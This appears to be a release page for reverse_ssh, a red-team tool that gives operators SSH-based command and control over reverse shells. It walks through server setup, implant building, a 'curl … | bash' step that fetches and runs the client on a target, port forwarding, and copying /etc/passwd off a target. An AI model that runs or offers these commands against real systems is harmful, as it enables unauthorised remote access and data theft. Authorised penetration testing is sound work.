Back to updates
New releaseAug 6, 2026

reverse_ssh v2.8.1

SSH-based reverse shell management tool with native SCP/SFTP support, multiple transport protocols, Windows DLL generation, and fileless execution for red team operations.

Share

Reverse SSH

icon
(Art credit to https://www.instagram.com/smart.hedgehog.art/)

Want to use SSH for reverse shells? Now you can.

  • Manage and connect to reverse shells with native SSH syntax
  • Dynamic, local and remote forwarding
  • Native SCP and SFTP implementations for retrieving files from your targets
  • Full windows shell
  • Multiple network transports, such as http, websockets, tls and more
  • Mutual client & server authentication to create high trust control channels And more!
                    +----------------+                 +---------+
                    |                |                 |         |
                    |                |       +---------+   RSSH  |
                    |    Reverse     |       |         |  Client |
                    |  SSH server    |       |         |         |
                    |                |       |         +---------+
+---------+         |                |       |
|         |         |                |       |
| Human   |   SSH   |                |  SSH  |         +---------+
| Client  +-------->+                <-----------------+         |
|         |         |                |       |         |   RSSH  |
+---------+         |                |       |         |  Client |
                    |                |       |         |         |
                    |                |       |         +---------+
                    |                |       |
                    |                |       |
                    +----------------+       |         +---------+
                                             |         |         |
                                             |         |   RSSH  |
                                             +---------+  Client |
                                                       |         |
                                                       +---------+

https://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1

TL;DR

Setup

The docker release is recommended as it includes the right version of golang, and a cross compiler for windows.

# Start the server
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="$(cat ~/.ssh/id_ed25519.pub)" -v ./data:/data reversessh/reverse_ssh

or docker compose:

services:
  reversessh:
    image: reversessh/reverse_ssh
    ports:
      - "3232:2222"
    environment:
      - EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232
      - RSSH_CONSOLE_LABEL=c2.label
      - RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL
      - SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY}
    volumes:
      - ./data:/data

Basic Usage

# Connect to the server console
ssh your.rssh.server.internal -p 3232


# List all server console commands
catcher$ help

# Build a new client and host it on the in-built webserver
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25


# curl or wget this binary to a target system then execute it,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh |  bash

# then we can then list what clients are connected
catcher$ ls
                                 Targets
+------------------------------------------+-----------------------------------+
| IDs                                      | Version                           |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 |                                   |
| dummy.machine                            |                                   |
| 192.168.0.11:34542                       |                                   |
+------------------------------------------+-----------------------------------+

All commands support the -h flag for giving help.

Then typical ssh commands work, just specify your rssh server as a jump host.

# Connect to full shell
ssh -J your.rssh.server.internal:3232 dummy.machine

# Start remote forward
ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine

# Start dynamic forward
ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine

# SCP
scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd .

Sponsors

A huge thanks to the following folk for donating to the RSSH project and making all this work possible!

Individuals

chikamobina for their generous donations!
wrighterase (ctrlzero) for their pull requests and donation!

Companies

Carapace is a New Zealand based security consultancy with an extremely talented team of folk!

Fancy Features

Privileges

The RSSH server supports very basic user privileges, where users found in the data-directory/keys (specified by --datadir) folder e.g data-directory/keys/jim will be assigned as a "user" only able to see clients that are public (found in the authorized_controllee_keys file without an owners tag, or an empty owners tag) or specifically assigned to them, e.g owners="jim".

This can be changed at run time via an user sharing access to a client they own with the access command, or a server administrator. Defaultly, any public key found in the authorized_keys file will be marked as an administrator to retain backwards compatibility. Any changes made by the access command will not persist server reboot, and this will require editing the authorized_controllee_keys file for that specific client.

Automatic connect-back

The rssh client allows you to bake in a connect back address. By default the link command will bake in the servers external address.

If you're (for some reason) manually building the binary, you can specify the environment variable RSSH_HOMESERVER to bake it into the client:

$ RSSH_HOMESERVER=your.rssh.server.internal:3232 make
Read more

Categories

ShellcodeShellcode Generation